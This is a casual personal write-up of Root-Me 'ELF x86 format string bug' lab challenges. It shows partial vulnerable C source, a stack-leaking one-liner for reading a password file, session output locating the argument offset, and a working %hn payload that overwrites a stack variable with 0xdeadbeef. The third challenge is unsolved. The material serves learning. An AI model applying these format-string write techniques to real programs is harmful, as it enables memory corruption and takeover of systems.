root-me:Format string bug


I'd stayed away from pwn for several months because of my own fucking thoughts.
These days i was dived into ICS program assignment again and it's make me so gloomy.
To get more funny,the article appeared.
The article is aimed at summarizing the general way to exploit format string bugs.
All the challenges could be found on


EN - Format Bugs - Exploiting format string



ELF x86 - Format string bug basic 1

It is the time i feel i am very stupid...Let's see the code:


int main(int argc, char *argv[]){
    FILE *secret = fopen("/challenge/app-systeme/ch5/.passwd", "rt");
    char buffer[32];
    fgets(buffer, sizeof(buffer), secret);
    return 0;

It's extremely simple,right?
We know the buffer is always on the stack,no matter how the stack changed
so we just print enough stack frame,
then adjust them into little-endient,
transfer them into ascii,
and the printable characters are our answer.

A wonderful script from Internet:

echo -e $(./ch5 $(python -c 'print "%08x" * 20') | sed -r '
        # little-endian architecture, reorder bytes
        # preceed every byte by \x so it will be
        # interpreted by echo -e
    ' ) | grep -Pazo '[[:print:]]{13}\n'

ELF x86 - Format string bug basic 2

What we should notice is that character '$' must be escaped with '\'

the push order of the params of printf(),for example:

printf("Color %s, Number %d, Float %4.2f", color, num, f_num);

the stack layout is:

[stack  bottom]
[ f_num value ]
[  num value  ]
[ color value ]
[format string]
[  stack top  ]


gcc -m32 -o ch14 ch14.c
int main( int argc, char ** argv )

        int var;
        int check  = 0x04030201;
        char fmt[128];
        if (argc <2)
        memset( fmt, 0, sizeof(fmt) );
        printf( "check at 0x%x\n", &check );
        printf( "argv[1] = [%s]\n", argv[1] );
        snprintf( fmt, sizeof(fmt), argv[1] );
        if ((check != 0x04030201) && (check != 0xdeadbeef))
                printf ("\nYou are on the right way !\n");
        printf( "fmt=[%s]\n", fmt );
        printf( "check=0x%x\n", check );
        if (check==0xdeadbeef)
                printf("Yeah dude ! You win !\n");
app-systeme-ch14@challenge02:~$ ./ch14 aaaaa
check at 0xbffffb38
argv[1] = [aaaaa]

app-systeme-ch14@challenge02:~$ ./ch14 "AAAA %x %x %x %x %x %x %x %x %x %x"
check at 0xbffffb28
argv[1] = [AAAA %x %x %x %x %x %x %x %x %x %x]
fmt=[AAAA b7fdc4a0 1 0 1 bffffc54 0 0 4030201 41414141 66376220]

app-systeme-ch14@challenge02:~$ ./ch14 "AAAAaaaa %x %x %x %x %x %x %x %x %x %x"
check at 0xbffffb18
argv[1] = [AAAAaaaa %x %x %x %x %x %x %x %x %x %x]
fmt=[AAAAaaaa b7fdc4a0 1 0 1 bffffc44 0 0 4030201 41414141 61616161]

As we see,AAAA(41414141) has been recorded at the ninth location after AAAA
So we have a methond to write 0xdeadbeef to aim address:
let it record the check address,write the aim value to check address use %?$n

%?$n:the length of last output as input,write to ?th param

After this,its layout will be:

fmt=['beef address,dead address' b7fdc4a0 1 0 1 bffffc44 0 0 4030201 'beef address' 'dead address']


./ch14 $(python -c "print '\x28\xfb\xff\xbf'+'\x2a\xfb\xff\xbf'+'%48871x%9\$hn'+'%8126x%10\$hn'")

0xdeadbeef is too large when as a decimal value,we have to devide it into 0xbeef and 0xdead.The machine is little-endient,so 0xbeef is at the ninth one and 0xdead is at the tenth one.
h means 'half of machine word',the machine word of training machine is 32 bits.


ELF x86 - Format string bug basic 3

no idea yet